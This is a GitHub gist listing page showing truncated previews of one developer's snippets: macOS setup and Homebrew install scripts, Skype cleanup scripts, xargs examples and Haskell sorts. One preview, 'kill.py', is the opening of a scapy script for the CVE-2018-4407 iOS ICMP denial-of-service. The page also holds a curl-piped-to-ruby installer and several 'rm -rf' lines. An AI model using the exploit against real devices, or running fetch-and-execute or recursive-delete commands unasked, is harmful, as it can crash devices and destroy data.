Skip to content

Instantly share code, notes, and snippets.

View oboje's full-sized avatar
🎯
Focusing

Igor Popov oboje

🎯
Focusing
  • New York
View GitHub Profile
export LANG=en_US.UTF-8
export LANGUAGE=en_US.UTF-8
export LC_ALL=en_US.UTF-8
ENVS=~/env
PATH_SCRIPTS="/Users/igorpopov/Library/Mobile Documents/com~apple~CloudDocs/Scripts/"
# path
export PATH=~/scripts/:$PATH:~/work/scripts/:$ENVS:$PATH_SCRIPTS
# parse envs
@oboje
oboje / app_install_flow.sh
Last active November 9, 2018 13:10
macOS tools install flow
#!/bin/bash
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
#
sudo gem install fastlane -NV
#
sudo gem install cocoapods
#
gem install xcode-install
#
@oboje
oboje / kill.py
Created November 6, 2018 19:24
iOS 11 kill
# CVE-2018-4407 ICMP DOS
from scapy.layers.inet import IPOption, TCP, IP
from scapy.all import *
from scapy import *
if __name__ == '__main__':
try:
check_ip = sys.argv[1]
print('CVE-2018-4407 ICMP DOS - ' + check_ip)
@oboje
oboje / RAC_Samples.m
Created October 12, 2018 08:19 — forked from hsavit1/RAC_Samples.m
101 RAC Sample
//
// main.m
// 101RACSamples
//
// Created by Matthew Doig on 1/26/14.
// Copyright (c) 2014 DWI. All rights reserved.
//
#pragma mark Asynchronous operators
@oboje
oboje / codesing_tests.sh
Last active October 4, 2018 12:14
codesign tests
#!/usr/bin/env bash
app="test.app"
#shows sign info
codesign -dv $app
payload2="YourApp.app/embedded.mobileprovision"
#get sign info 2
#!/bin/bash
rm -rf ~/Preferences/com.microsoft.SkypeForBusiness.plist
rm -rf ~/PLibrary/Containers/com.microsoft.SkypeForBusiness
rm -rf ~/Library/Logs/LwaTracing
rm -rf ~/Saved Application State/com.microsoft.SkypeForBusiness.savedState
rm -rf ~/Preferences/com.microsoft.SkypeForBusiness.plist
#!/bin/bash
rm -rf ~/Preferences/com.microsoft.SkypeForBusiness.plist
rm -rf ~/PLibrary/Containers/com.microsoft.SkypeForBusiness
rm -rf ~/Library/Logs/LwaTracing
rm -rf ~/Saved Application State/com.microsoft.SkypeForBusiness.savedState
rm -rf ~/Preferences/com.microsoft.SkypeForBusiness.plist
@oboje
oboje / -
Created December 13, 2017 11:51
1355e36339ed3ea5b82f722491fe5efe
@oboje
oboje / xargs.sh
Last active December 13, 2017 12:45
xargs examples
#source https://habrahabr.ru/company/selectel/blog/248207
find . -name "*.sh"| xargs rm -rf
find . -name "*.sh"| xargs rm -rf
find . -name "*.sh" -print0 | xargs -0 rm -rf
find /tmp -name "*.tmp"| xargs rm
ls | xargs -p -l gzip
find . -name "*.pl" | xargs tar -zcf pl.tar.gz
ls | sed -e "p;s/.txt$/.sql/" | xargs -n2 fmv
ls | xargs -I FILE mv {} <...>-{}
@oboje
oboje / sorting.hs
Created November 29, 2017 14:14 — forked from jason2506/sorting.hs
[Haskell Practice] some common sorting algorithms
import Data.List
bubbleSort :: (Ord a) => [a] -> [a]
bubbleSort [] = []
bubbleSort (first:[]) = first:[]
bubbleSort (first:remains) =
if first < smallest
then first:(bubbleSort bubbledRemains)
else smallest:(bubbleSort (first:(tail bubbledRemains)))
where bubbledRemains = bubbleSort remains